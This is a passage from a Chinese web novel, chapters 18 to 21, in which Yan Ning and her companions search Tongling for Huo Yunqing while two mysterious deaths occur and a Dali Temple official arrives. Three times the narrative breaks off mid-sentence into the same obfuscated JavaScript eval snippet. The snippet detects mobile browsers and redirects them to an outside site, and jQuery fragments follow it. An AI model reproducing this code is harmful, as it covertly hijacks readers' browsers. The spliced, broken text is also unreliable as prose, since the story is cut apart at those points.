她心中怪异，四下看了看，那女子已然离开。 “姑娘，是谢公子！” 清璇看到茶馆外熟悉的身影，惊奇道：“他们如何知道我们在哪。” 晏宁但笑不语。 几次三番的巧合可不单单只是巧合。 直到谢鹤明主仆二人来到她们面前，清璇往晏宁身旁挪了挪，正要伸手倒茶，却被另一只手抢先了。 她抬眼一看。 元青先倒了杯给谢鹤明，又给她倒了杯，最后才给自己倒。 她捧着茶，热度温暖掌心，安静地听他们谈话。 “元青查到了一些事。” 谢鹤明眼神示意一番。 元青道：“铜陵里没有人听说过霍五姑娘的名字。”他看了眼谢鹤明，才道：“不过我也问了一下城中富商是否有一个姓楚的。” 他一顿，摇头，“没有。” 18. 死人 晏宁双眸微微眯起，轻声重复，“没有？” 尾音如风，窗外席卷而来的凉意将她这两个字衬出几分寒冷。 线索到这儿又断了。 孟昌说霍云清被姓楚的富商带到铜陵，可如今却在铜陵寻不到一丝消息，唯一的解释就是…… 他在说谎。 晏宁手指抚着杯沿，静默片刻，突然抬头看了元青一眼，把他看得一愣，那眼中隐隐藏着的深意教人心头一颤，他忙道：“七姑娘，我所说句句属实，确确实实向许多人打听过了。” 说完，他看看谢鹤明，又看向晏宁，等她开口。 “不必紧张。”晏宁神色很淡，“我会求证。” 她自然不会将打探消息一事全然交给元青，且不说这二人目的未明，就以她对谢二公子的了解，他说的话不可全信。 只是，她在想有没有另一种可能。 若那人不止家境显赫，连地位也非同一般，他的能力强大到能同时令所有百姓都对他缄口不言。 虽说可能微乎其微，但也并非全无可能。 若他和临清节度使一样，拥有兵力，以权势压人，那这事的可能性就大了。 晏宁眉眼微动，心中生出一个更大胆的猜测。 这时，窗外楼底下传来阵阵喧闹，伴随着几声惊慌失措的尖叫，一个巨大的“扑通”声打断了晏宁的思索。 邻桌也传来一阵骚动，围坐在桌前的客人都朝窗外探出头去。 她侧头看去，一群百姓离河面甚远，但到底掩不住心底好奇，纷纷拉长了脖子往河面看。 附近几家铺子里的百姓听到动静，也走出来，不明所以地问身旁人，“这是怎么了？” 穿着长衫的年轻男子正巧看到全程，惊魂甫定道：“死人了……” “死人？”他一时没控制住音调，声音拔高，让身后围堵的众人都听得一清二楚。 惊乱的交谈声接二两三响起，众人面色难看，一时无人敢靠近。 与此同时，茶馆二楼，晏宁淡淡收回目光。 一具男尸倒趴在河里，身量七尺有余，穿着锦衣，其中绣着锦丝祥云纹袖边，腰间束着青色流云锦带。 他的脸一半浸没在水中，高高束起的发冠里还簪着一根白玉簪，质地精美，玲珑剔透，在日光的照耀下泛着冷色的光泽。 这一身服饰几乎抵得过寻常人家一年的花销。 一个富家公子。 只是不知因何死在了这儿。 谢鹤明“啧”了声，“弄出如此大的动静，这凶手是在挑衅官差？” “为何一定有凶手？”晏宁重新向外望去，红日升至最高处，层层光晕穿梭在树枝里，织成一道道金色的丝线，凉风吹拂，连这点日光都变得虚无缥缈起来。 但，树枝晃动，光影也跟着晃了晃。 晏宁看到尸身脖颈上那一闪而过的亮光，像被红日折射出来的反光。 她眼睫颤了颤，顿了会儿才轻声道：“就不能是自戕吗？” 谢鹤明看向晏宁，眼底掠过一丝诧异，他原本没指望着晏宁会有所回应，可没想到她不仅回了，还说出一句莫名其妙的话。 “他想要自戕不找个无人之处，反倒引起坊间骚乱，图什么？” 晏宁将杯子放在嘴边，闻着茶香，一时没有说话。 清璇还趴在窗口，远处一阵呵斥声响起，她打眼看去，十几个官差提刀而来，个个凶神恶煞，他们沿街推开挡路的百姓，动作粗鲁野蛮，毫不留情。 清璇瞧着皱眉，愤然道：“怎么又是这种官差！” 她的话引得三人侧目，晏宁瞥一眼，官差挤开人群，走到河边低头一看，面色微变，随后不言分说的将百姓赶走，并冷冷警告不许外传，一时间，众人作鸟兽散去，只是还时不时回头，显然这幅画面深深刻在了他们脑子里。 想要封住所有人的嘴谈何容易，何况只是几个官差出面，河里死了人一事最终还是传遍街头巷尾。 铜陵中人闲谈时言语多激烈，仿佛亲身在场，将那副场面描述的要多恶心有多恶心。 闲话过后便是一阵恐慌涌上心头。 城中莫名死了人，县衙不作为，不查案，任由案子悬落，以致人心惶惶。 晏宁四人走进一家客栈，是谢鹤明提前找好的，环境不错，元青去楼下叫伙计备菜。 晏宁和清璇住一个屋，谢鹤明站在门外，叮嘱道：“若有事就喊我，我住隔壁。” 晏宁盯着他的眼，轻轻“嗯”了声。 “姑娘，我们要再去打探一下霍姑娘的消息吗？”谢鹤明走后，清璇问。 她只知晏宁一直在找的是她的姐姐，其余并不清楚，晏宁也很少提起，她也从不多问。 眼下，她突然间很想知道对方究竟是怎样一个人。 这么想着，她就问出口了。 晏宁始终沉默，正当她以为不会得到回应时，晏宁低声道：“她是一个特别特别好的人。” 清璇蓦地睁大双眼。 如此高的评价从晏宁口中说出来，实在有些违和。 二人虽相处不久，但清璇就是觉得她不屑说谎。 她这么说，那位霍姑娘定是无比好的人。 门外敲门声起，清璇过去开门。 元青端着盘子，笑道：“累了几日，快吃些东西吧。” 盘子上放着两碗米饭，有肉有菜，色香味俱全，清璇只看了眼，便忍不住咽了咽口水，腹中顿感饥饿，她连忙接过，弯唇道：“有劳元小哥了。” 她关门回到屋里，将盘子里的饭菜放在桌上，一个个摆好，抬头唤晏宁，“姑娘，用饭啦。” 晏宁应了声，走到桌前坐下，清璇盯着她，道：“一会儿吃完了，我出去打探消息，姑娘休息会儿。” “嗯。” …… 临清城，节度府里。 大夫替孟昌检查过后，忐忑又小心地朝沈岱躬身道：“他、他身上有多处细小伤口，分别在腰部、腿部、脖颈上，虽不致命，但疼起来的确非常人能忍，手指上骨头错位，小的简单处理了下，他身上的伤，也上了药，应该没有大碍了，至于他的毒……” 大夫面露难色，低头看了眼倒在地上的男人，连忙跪下，“小的医术不精，实在不知他中的是何毒。” 话音刚落，孟昌渐渐转醒，他一眼便瞧见沈岱阴沉的脸色，忙不迭揪住他的裤脚，“大人！我的毒……我的毒解了吗？” 沈岱踹了他一脚，冷声道：“没得解。” 没得解…… 孟昌浑浑噩噩地倒下，脑袋嗡嗡作响，不、他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831680|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能死！他还没活够呢！ 他慌忙爬起，连身上的伤也顾不了了，“大人！是霍云清！是她来了……” 沈岱本不想再待下去，正要转身离开，一听这话，脚步一滞，回头死死盯着他，“你说谁？” 此刻雨已停了，府上守卫派出搜查，留一部分在府中听候命令，沈岱的几个妾室战战兢兢地缩在一处，连屋里也不敢回了。 院中一片沉闷压抑。 孟昌心一急便说出去了，但他反应过来后，又觉得不对，霍云清之事早已有了结论，他心中惴惴，“一定是霍家的人找上门了。” 沈岱眯起眼打量他，过了须臾，忍不住嗤笑一声，“霍家？你说得该不会是定襄城里的那个霍家吧？” “对！就是那个……啊——” 尾音未落，沈岱就猛地踩住他的手腕，用力碾压，语气中是毫不遮掩的讽意，“还没死就开始说胡话了，不如大人我送你一程？” “不、不……” “霍家男丁尽数死在战场上，女眷充入教坊司为奴，沦为贱籍，霍家满门早已无人，你告诉我，来得是霍家哪个人？” 孟昌嘴唇张了张，却是说不出一句话来。 但他依旧不死心，“即便霍家无人了，来人也一定和霍家脱不开关系！”他想起晏宁那双冷漠到极致的目光，还是觉得毛骨悚然，“那人一直问我霍云清在哪里……”他突然想到一个念头，脸上血色褪尽，抓着沈岱裤脚，语无伦次道：“会不会……会不会是当年有人在战场上活了下来？他回来、回来报仇来了……” 孟昌眼神逐渐空洞。 几年下来，这个名字本已被他淡忘，可乍然被人提起，他恍然发觉，自己似乎从未忘记过。 那个女子，温柔娴静，容貌昳丽，虽长在定襄，却胜过京中不少高门贵女。 他初到定襄时，仅带了一个仆从和几个护卫，四处游山玩水，行至此处，见定襄景美人更美，便想着多留几日。 在某一日上街时，他见到一女子从胭脂铺里出来，轻纱薄如蝉翼，衬得她肤色雪白，脸如凝脂，眉如弯月，朱唇点漆，好一个美人坯子。 他当下便对其一见钟情，日子越久越觉心痒难耐。 之后他佯装偶遇，总算是与她说上话了。 女子谦逊有礼，语声轻柔，偏偏撩起眼帘时，像要勾人似的，他克制不住心底悸动，痴痴地盯着她走远。 一来二去，他对女子的心思有了一定了解，这才回了庐阳禀明父母，备下聘礼准备提亲。 霍家高门大户，与孟家也算门当户对。 这事进行的很顺利。 选定良辰吉日后，他将霍云清迎入家门，女子温柔顺从，孝顺公婆，实在挑不出错处。 就连他偶尔在外吃醉了酒，一夜未归，她也并无半点埋怨，只细心服侍他，女子温言软语，让他短暂忘却了外头的野花，沉迷在她的温柔乡里。 那段时日，他宁愿时时睡着，也不愿醒，像一场美好不知年月的梦。 直到霍家男丁上了战场…… 随着他们战死的消息传来，圣旨也一同来临。 霍家中有人通敌卖国，以致将士惨死，城门失守，霍家家产悉数充公，女眷没入教坊司为奴。 曾经烜赫一时的霍家，就此衰落…… 19. 线索 铜陵城。 清璇用完饭后便出了门，河畔边上早就无人，尸首也不见了踪影，显然是被衙门的人带走，周遭一切恢复如初。 看似平静的表面下，却在百姓的心中留下阴影。 这附近已经鲜少有人敢来，连铺子的生意都不甚好做。 胭脂铺外坐着一妇人，她盯着对面长吁短叹，眉梢紧紧拧着，满面愁容。 清璇走近了，见铺中无人光顾，唯有两三个女子在摆弄货架上的胭脂。 她甫一出现，门外妇人连忙起身，笑得和蔼温柔，热情问：“姑娘是要买胭脂吗？您算是来对地方了，我家的胭脂绝对好看！” 一进铺子，妇人就招呼着几个女子道：“来贵客了，快过来。” 清璇见她们一人一嘴给自己介绍，弄得哭笑不得，挣脱开妇人的手后，笑道：“我先看看。” “诶，好。”妇人应声，从货架上取下一个小匣子，“姑娘你看，这是我们店里的招牌，兰花胭脂，你闻闻，是不是有股兰花香？” 清璇凑近一嗅，淡淡清香漫出来，她眼睛一亮，随后摸摸袖兜，眼睛又黯淡下去，轻声问：“这……很贵吧？” 她方才卖绣帕只赚了些许银子，怕是不够。 妇人一愣，随即笑道：“不贵不贵，只需……”她犹豫了下，“三百文。” 清璇讪讪一笑，欠身告辞。 “诶！”妇人拉住她，“那姑娘有多少？” 虽说有些难为情，但清璇还是将荷包拿出来，摊开手心，几声清脆的碰撞声后，露出几个铜板来，她抿着唇，“只有这么多……” 妇人嘴角微微抽搐，默了默，一咬牙，“罢了，相遇便是缘分，这胭脂……就卖给你了。” 清璇微微瞪大双眼，听妇人招呼身旁女子将胭脂包起来，这才回过神，狐疑地看着妇人，就她卖绣帕赚的那几个铜板远远买不了胭脂的，做生意不图赚钱也就罢了，怎么还亏钱呢？ “姑娘，你的胭脂拿好了。” 妇人将包好的胭脂递给她，习惯性的说一句：“可要再看看别的？” 说完后才反应过来，她身上一文不剩，就算看也买不起了。 谁知…… “好啊。” 见妇人面露愕然，清璇腼腆一笑：“我家姑娘平日里不爱出门，我替她试试，若有中意的，下次便多带些银钱出来。” 妇人恍然明白，原是个丫头啊。 清璇一面挑选货架上的胭脂，不动声色打量身旁围着她的几人，状似随口问：“夫人铺子里的胭脂都好看，想来也得贵人的青睐吧？” 好话谁不爱听。 妇人笑笑，语气里颇为骄傲：“姑娘眼光不错，就你方才看中的那几个是店里卖的最好的，若不是……”她一顿，没敢接着往下说，只道：“城中那些大户人家里的贵女小姐，总爱到我这儿来。” 清璇留心了，走到第二排货架，随手拿起一盒口脂，“那想必夫人对城中大户人家有一定的了解了？” “这是自然。” “我能试试吗？”清璇晃晃手，询问一句。 “我看看。”妇人接过她手里的小匣子，看了会儿，抬头指着一旁道：“那儿有专门试用的，我带你去。” 清璇颔首，路过一个女子时，脚步微顿，多留意了两眼，对方回以一个笑容，她怔了怔，也笑了下。 妇人带她到铜镜前，将一个与方才那个一模一样的口脂拿给她，她用指腹轻轻蘸取一点，点涂在唇上，对镜照了照。 “夫人可听说过城中有一姓楚的大户人家？” 突如其来的发问打得妇人措手不及。 她愣住了，一时忘了开口。 清璇侧目，脸上的神色像是不解与困惑。 这个问题无非两种答案。 没听过，那她干脆的说不就好了？ 要么就是听过，总归也与她无关。 清璇定定看着她，“夫人，知道？” 四目相对的那一刻，妇人颓然的叹口气，往后看了看，铺子外甚少有人走过，也是托了那桩命案的福。 她让几个女子去把门关上，并挂上今日休业的牌子。 清璇不明所以，但也没随意出声，跟着妇人往后头走。 从柜台绕过，掀起毡帘，里头突然变得敞亮。 原来在铺子后面竟是一处院子，被打扫的齐整，地上没有一片落叶。 妇人走到凉亭里，对清璇道：“坐。” 清璇看着放在眼前的茶杯，心头警铃大作，并未因方才她的善意而放下戒心。 她盯着杯子里浮到水面上的茶沫，轻声问：“夫人有话为何不在外头说？” “说不得！”妇人紧张起来，连音调都忘了压低，话音刚落又环顾四周，低低道：“姑娘，我提醒你一句，别在衙门的人面前提起此事，否则不仅是你，就是你家姑娘都会招来祸患！” 清璇听出她话里的严重性，尽量冷静道：“夫人可否说得明白些？” 凉亭边上种着一颗树，高出院子好几尺，风一吹过，便簌簌往下落叶。 许是太安静了，清璇竟听到一丝“哐当”声，像铁器撞到某个重物的声音。 风止后，声音又不见了，仿佛只是她的一场错觉。 清璇将这念头抛之脑后，看向妇人。 “铜陵的确曾有过一个楚姓商人。” 清璇心中一喜，随即意识到她用了“有过”这两个字，总觉得怪异，等着妇人继续开口。 妇人捧着茶杯的手微微颤动，将要说出的是城里的秘密，也是所有人都不愿回想的往事。 可是…… 她朝后看去，清璇不解，也下意识的顺着她的目光望去，视线所及之处唯有一片衣角微微晃动。 妇人扭头，抬眼道：“你听说过平阳王吗？” 清璇摇头，她久居临清，从未离开过，除了对节度使沈岱有些了解，其余当真一概不知。 “老平阳王原本跟随先帝打江山，乃一朝功臣，先帝破格封了他爵位，成为北朝唯一一位异姓王。”妇人叹口气，继续道：“这本是光宗耀祖的殊荣，老王爷走后，便由他唯一的儿子袭爵。” “可他这个儿子没继承他父亲半点威严，反倒有些……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831681|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇人拧眉沉思，似乎在想用怎样的语言来描述，片刻后道：“温润。” 清璇一听，更疑惑了，“那他如此温润的话，又怎会让百姓惧他？” “姑娘，平阳王是何人，是当今圣上也要给三分薄面的人。”妇人松展眉眼，似乎被她单纯的想法给弄得没了紧张的心情，“虽说如今太平盛世，但平阳王府的功绩无人敢忘，尤其是当今圣上，这是先帝颁下的荣耀，只要北朝一日不倒，平阳王永远可以在京都横着走。” 说着，她话音一转，“不过平阳王如今远在平阳，甚少回京。” 清璇听懂了，“所以平阳王本人也算温润，只是碍于他的权势，才惧怕他？” 妇人点头。 “可我看你方才提起他时的模样，并不像你说的这般。”清璇在某些事情上是出乎意料的细心，“莫非你还有事没说？” 妇人还在犹豫，清璇干脆道明来意，“不瞒你说，我主要是想打听一个人。” “何人？” “霍云清。”清璇直直盯着她双眼，“你可听过？” 妇人先是一怔，随后不确定道：“不知道你说的这人是谁……” 消息又断了吗？ 清璇心中失落，下一刻，又听妇人道：“但我确实听过一个姓霍的女子……” 刹那间，眼中的光再次点燃，清璇迫不及待抓着她的手追问：“何时？她如今身在何处？可是与平阳王有关？” 妇人垂眼看着被清璇紧紧握住的双手，表情有些怪异，问了句：“她是你什么人？” “她是……”清璇已经知道晏宁为了找这个人去过许多地方，单独来看似乎并无不妥之处，但仔细一想，就像是无形中有人编织了一张巨大的网，只等着她们往里跳。 或许未来会有更多危险，她没什么本事，但也想尽己所能，帮晏宁多做些事。 “她是我邻家姐姐，曾经帮过我许多，但长大后失去了她的消息，便想来找找。” 她说得并不详尽，但眼中的急切之色却不容人怀疑。 “当初平阳王来铜陵时，身边的确跟着一个女子，我没瞧见她的模样，只听说她姓霍。” 妇人沉默下来，捏着杯子的手紧了紧，一副欲言又止的模样。 清璇道：“可还有不妥？” “当初我远远瞧了眼，容貌虽没看见，但我看到她手臂上……”话音一顿，“都是伤。” “什么！” 清璇克制不住声音，“唰”地站起身。 妇人吓了一跳，忙道：“你先冷静下，我也不确定有没有看错……”话是这么说，但她明显笃定自己没看错，手上有伤，隔得再远也能瞧出不对。 若是晏宁知道了…… 清璇眉头紧蹙，想到晏宁对一切都不在乎的模样，总觉得要出事。 一路上思绪纷乱，连到了客栈都没察觉。 她慢慢走到房门前，犹豫两下，推门走进去。 一眼便看见倚在榻上的晏宁，手中正拿着一个小匣子往包袱里放，虽是匆匆一瞥，但那匣子的纹路极其精美，她走过去，随口问：“姑娘，这是什么？” 20. 城门关 “胭脂。” 晏宁将小匣子放在包袱最下层，被衣衫裹挟，像是极其珍视，清璇抚着手中胭脂盒的纹路，竟觉得拿不出手了。 见她久久不说话，晏宁抬头看了眼，视线又落在她手上，“手里拿着什么？” 清璇这才不好意思拿出来，“我进了一家胭脂铺，这是她家的招牌，很受欢迎的……” 她双手捏着盒子，举止有些局促。 晏宁一顿，接过来，垂眼看了片刻，抬头问：“送我的？” 清璇腼腆的点点头。 她素日里不爱涂脂抹粉，觉得麻烦，身上唯一一盒胭脂还是当初霍云清送给她的。在荆楚时，她所有的东西都被抢走，拼死才护住这么一件东西。 清璇总算笑开了，在她身旁坐下，将铺子里得来的消息尽数说与她听。 一连说了这么多话，口干得很，她忙去倒了杯水润口。 “按那位夫人所说，霍姑娘应是同平阳王一齐去了平阳。” 刚说完，她又转头笑道：“既然平阳王的性子温润，想来也不会亏待霍姑娘……”突然想到某件事，她脸上笑意凝住，唇齿动了动，像是不知该如何开口。 “还有什么？” 晏宁见她沉默，遂问。 “那人还说，霍姑娘身上似带着伤……” 话音未落，晏宁的手指猛地攥紧。 “不过或许是她看错了，若平阳王当真如他们说的那般，应当不会……” 晏宁已稍稍平复，望向窗外，意有所指道：“旁人说得再多也不比亲眼所见，你怎知外人所见不是他刻意伪装？” 还有句话她没说，能让全城百姓惧他怕他，仅仅只是因为他的身份吗？ 有些人位高权重，却心怀天下，真正做到一视同仁。 而有些人站在权利的巅峰，却尽做些欺男霸女、鱼肉乡里之事。 重要的不是他站在多高的地位，而是他利用他的权势都做了什么。 若真如百姓所言，此人良善温柔，做过不少好事，又何至于令人惧怕至此啊？ 清璇抿抿唇，道：“那姑娘，我们何时出发？” “明日一早便动身。” 与此同时，隔壁屋里。 元青在收拾包袱，瞅了眼一直靠在榻边的男子，无奈道：“公子，你都一言不发地坐在那好久了。” 相邻两间房的陈设不大相同，元青送饭菜时匆匆瞥过一眼晏宁屋里的陈设，正巧与他们屋中相反，也就是说，他们屋里床榻摆放的位置，恰巧与隔壁床榻相靠。 对此，元青生出一丝微妙的好奇来，莫非他家公子是故意为之？ 不知不觉手上动作也停了下来，他盯着谢鹤明看了会儿，轻咳一声道：“公子，此次见到七姑娘，你似乎变得不一样了。” 闻言，谢鹤明掀起眼帘，淡道：“哪里不一样？” 元青歪着脑袋想了想：“刚遇上那会儿，公子总是很客气，即便我们一直跟着她，也还会费心想几个借口……” 他走过去，盘腿坐在地上，“可这次，公子连借口都懒得找了，好像、好像赖上七姑娘了。” 谢鹤明笑了声。 “公子。”元青道：“你不是说有问题没解决吗？那如今呢？解决了吗？” “快了。” 谢鹤明说了一句模棱两可的话，便阖眸不语，他侧着头听隔壁屋里的动静，嘴角始终噙着一抹笑。 他想到从前的晏宁也很是嫌弃他跟在身边，每每都想尽法子将他甩掉。那时他年少轻狂，就爱跟她对着干，她越不让跟，他偏要跟。 重逢之后，他记着往日吃过的亏，只是时不时在她面前晃悠，倒没将话说得太过直白，但似乎不见得多有成效。 他默默想道，还是以前脸皮厚些好用。 次日，天光大亮。 晏宁起身时不见清璇踪影，刚穿上鞋袜，门就被人推开，清璇脸上焦急，跑到她面前，张口就道：“姑娘，出事了！” 晏宁神色微凝，问：“何事？” “我方才上街，正巧撞见守卫将城门关闭，墙上贴了告示，说案子未查清前，不许任何人出入。” “案子？” 清璇继续道：“后来我一问之下才知，原是昨日夜里又发生了一桩命案。” 晏宁眉心一跳。 “死者还是在县衙外发现的。” 接连发生两桩命案，还都如此离奇。 先是在众目睽睽之下死在河里，又是在县衙大门外发现，若说不是刻意挑衅，实在难以评判。 晏宁没说话，清璇仍在絮絮说道：“那人还是吊死在衙门口，这多晦气啊！被如此恶意捉弄，也难怪县衙急着找出凶手了。”她脸又苦下来，“可这么一闹，我们如何能离开？” 门外传来叩门声，清璇过去开门。 “清璇姑娘。”元青打了个招呼，随即见她面色不对，探头往里看了眼，了然道：“你们知道了？” 他笑道：“先下楼吃点东西吧，一起想想法子。” 清璇回身看了眼晏宁。 晏宁点头：“你们先去。” 她洗漱一番后才走下楼。 一张四人桌上，摆着各色食物，听到动静，谢鹤明抬头朝她招手，等她走近了，才问：“看看还想吃什么？” “……”这么多东西了，她还能说什么，这人怕不是把她当成猪了？！ 晏宁摇头：“不必。” 她拿起一块糖糕咬了一口，口中的甜味散开，与定襄中的味道不大一样，但勉强能入口。 “清璇姑娘，昨日出门可得到什么新的消息了？” “咳咳咳……”清璇被吓了一跳，呛咳不止，连忙拿起水杯喝了一口，拍拍胸脯，反应过来谢鹤明刚刚的话，手上动作一顿，看向晏宁。 连她的行踪都了如指掌，难怪姑娘那时对谢鹤明二人能随时找到她们所在不以为意。 怕不是时刻在监视她们吧？ 清璇突然感到背后一阵寒凉。 “只是正巧出门撞见。”谢鹤明一看她表情就知她在想什么，耐心解释道：“我并不知姑娘去了何处。” “无妨，谢公子手眼通天，想来也是瞒不过你。”晏宁敷衍一句：“我们本打算去平阳，如今看来是暂时去不成了。” “平阳？”谢鹤明皱眉，不知想到了什么，凝眸问：“莫非五姑娘的下落与平阳王有关？” 晏宁还没开口，清璇就迫不及待道：“你怎么知道？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831682|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢鹤明笑了笑：“平阳是平阳王的地盘无人不知。” “那公子可对这平阳王有些了解？” 清璇目露期待，连晏宁也抬眼看他。 谢鹤明注意到她的视线，缓缓眨了眨眼，又夹了一块糕点放入晏宁盘中，这才道：“平阳王与他父亲不同，不擅舞刀弄剑，诗词歌赋也马马虎虎，算不上什么天之骄子，但他性子温柔如水，尤其是对姑娘总会多几分耐心，纵然府中妾室成群，但仍有女子渴望得他青睐。” 清璇点点头，这与她打听来的差不多，只是更详细一些。 “这么说来，平阳王也算个好人，只是多情了些。”至少比她所了解的那些达官显贵好太多。 “好人？”谢鹤明听了这话却是嗤笑一声：“方才说的那些都是坊间传言。” “难道还有隐情？”清璇登时睁大双眼。 谢鹤明看向晏宁，见她沉默吃着糖糕，却对盘中他夹的那个动也不动，不由一笑，“每年都有从各地赶往京都参加春闱的考生，有的考中留在京都，有的被分配往各县，唯独平阳……” 清璇听得认真，连连追问：“平阳怎么了？” “平阳中得中的考生不是落榜，便是到平阳王身边当值，连个正经官员都算不上。” 他语气讥讽，话已至此，如何能听不明白。 平阳王也只是占了他出身优异，若不看家世，他平庸无能，文不成武不就，平阳城那么大，能胜过他的又何止几人。 可他能力不行，也不许城中子弟胜过他一丝一毫，偏要折断他们的羽翼，埋没他们的才能，就此囚困于平阳城中。 清璇愤愤不平，猛地一拍桌子，气呼呼道：“太过分了！有权有势便能随意欺压百姓吗？！富家公子果然没一个好东西！” 谢鹤明看她一眼，没说话。 元青默默往边上挪了挪，提醒道：“姑娘当心着点，这桌子贵着呢。” 情绪稳定一些后，清璇才想起在座的也有富家公子，她脸颊红了红，欲盖弥彰道：“公子，我绝没有在说你。” 谢鹤明理解的笑笑：“嗯，我信。” “……” 越抹越黑，不如不说。 她生硬的转移话题：“我听说昨夜又发现了一具尸首，这凶手会是同一人吗？” 她的话转的如此之快，晏宁十分配合道：“是。” 清璇诧异，“为何？死者皆是成年男子，想要在这么短的时间内处理掉两具尸体，似乎不是易事。”突然，她“啊”了一声：“我知道了，一定是有帮手！” 晏宁倒了杯水，口中甜味蔓延，实在腻得慌。 “说不上来，只是猜测。”她看向外头，几个穿着衙役衣服的男子沿街询问，行为粗鲁，面目严肃。 被抓住的百姓连连摆手说不知道，却被当作心虚，不容辩驳地抓走。 晏宁看得皱眉。 这时，远处传来马蹄声，由远及近，到了那几个衙役面前，手上长剑并未出鞘，只是稍稍一挑，将衙役揪着百姓衣领的手给挑开，显然没收力，剑柄打在手上，半边身子都给震麻了。 衙役低呼一声，身边几人愣了下，随即反应过来，怒喝道：“什么人！敢妨碍官差办案，活得不耐烦了！” 21. 死因 端坐于马背上的年轻男子收剑于腰，居高临下地睥睨着他们，面容冷肃，神情比这天色更阴沉，“我倒是不知，何时连个小小衙役也敢随意欺压百姓了？” “放肆！”被打中手的那个衙役站出来，恶狠狠道：“这里是铜陵，一群贱民也配与我们比！” 他们一口一个贱民，在场的百姓脸色都不是很好看。 “贱民？”年轻男子冷嘲一句，“你们的地位高于他们，所以便当他们如草芥，那若是有人的地位高于你们，是不是在贵人眼里，你们也是贱民？” 有衙役“呸”了声，显然没将他的话放在心上，盯着马背上的男子看了看，猛然想起一事，“你不是铜陵人！城门已关，你怎么进来的！” 男子似笑非笑地瞥他一眼，从怀中掏出一样东西扔给他，随后抓紧缰绳，疾驰而去，落下一句：“让所有衙役到县衙集合，迟到者各领十棍！” 尾音落下的那一刻，衙役心中不安感无限放大，抖着手翻过令牌，看清了上头的字后，双腿一软，跌坐下去。 “怎么回事！”有人没看清，还不明所以，猛地从他手里抢过令牌，将正面展示出来，这下所有人都能看到，清清楚楚地看清令牌上的字——大理寺。 大理寺少卿，顾绍之。 完了！全完了！ 他们居然把大理寺少卿给得罪了。 客栈里，晏宁微微惊讶，想不到在此地也能遇上，莫非他是得了什么消息？ “公子，那不是……”元青的声音被谢鹤明打断：“我看到了。” 唯有清璇摸不着头脑，“那人是谁啊？连衙役都敢数落。” “大理寺少卿。” 清璇诧异：“这么巧？” 她这话无疑是将在座之人的心声说出来了。 一连发生两起命案，顾绍之又恰巧出现，当真是巧合吗？ 几人略微合计一番，打算先去县衙瞧瞧，毕竟案子一日不破，城门一日不开。 对此，清璇提出疑问：“为何不让少卿大人行个方便，允他们出城？” 方才经过元青一番解释，她知道大理寺少卿同谢公子是相识的，既然相识，想必帮个小忙应当不在话下。 可元青却道：“公子并非假公济私之人。” 到了县衙外，元青上前同门口衙役说了几句，但衙役一脸狐疑之色，显然不信，正欲赶人，又想到方才发生的事，若是假的也就罢了，若是真的，岂不又要得罪一个贵人？竟一时也不敢轻举妄动。 他让身边人看着，自己进去通禀。 不多时，从内走出来两人，顾绍之见到几人，眼前一亮，但他似乎穿上官服就显得尤为正经，仍保持着几步的距离，“你们怎么也在？” 视线落在谢鹤明身上，意有所指道：“云隐，你与晏姑娘的缘分果然匪浅。” 谢鹤明读懂了他眼里的戏谑之意，扭头朝晏宁看了眼，淡笑道：“说到缘分，岂非是你我更有缘分？” “说得不错。” 他声音轻下来，对晏宁笑了下：“晏姑娘，又见面了。” 他对这个姑娘的印象可谓是无比深刻。 柔柔弱弱的模样，能爬得了高墙，查得了案子，还能顺着蛛丝马迹找到凶手，细致入微又思绪敏捷，这可不是一般的女子。 况且…… 让谢云隐都另眼相待的女子可不多见。 晏宁欠身：“顾大人。” “姑娘不必多礼。”顾绍之侧过身，笑着把人带进去，“不过说来也巧，姑娘到哪儿，哪儿就发生人命案子。” 这话可不好接。 清璇顿时紧张起来，但她并不敢多言，这位少卿大人看着虽好说话，到底也是个官，只要是官，就不会如他表现出来的一般。 “大人说笑了。” 说话间，几人到了内堂。 县令和众衙役都在，见到几副生面孔，都有些错愕。县令走上前问：“大人，这几位是？” 顾绍之顿了下，转头若有所思，片刻后道：“朋友。” 这种关键时刻，任意一人都极有可能是案子凶手，岂能随意让人进入？ 县令蹙眉，还未等他开口，顾绍之便好似看透了他的想法，道：“放心，他们昨日方到，与案子并无干系。” 话虽如此，“但涉及要案，是否应当屏退无关之人？” 他话已至此，换做任何一人都会为了避嫌，主动告退，偏偏面前几人，不为所动。 “大人，案子可有进展？” “放肆！你……”县令见她油盐不进，竟还欲开口询问个中细节，面上一凝，严厉呵斥，话还没说完，就被打断。 顾绍之道：“仵作已经验过。”他面露难色，瞥了眼谢鹤明，有些欲言又止。 晏宁了然：“是不方便说？” 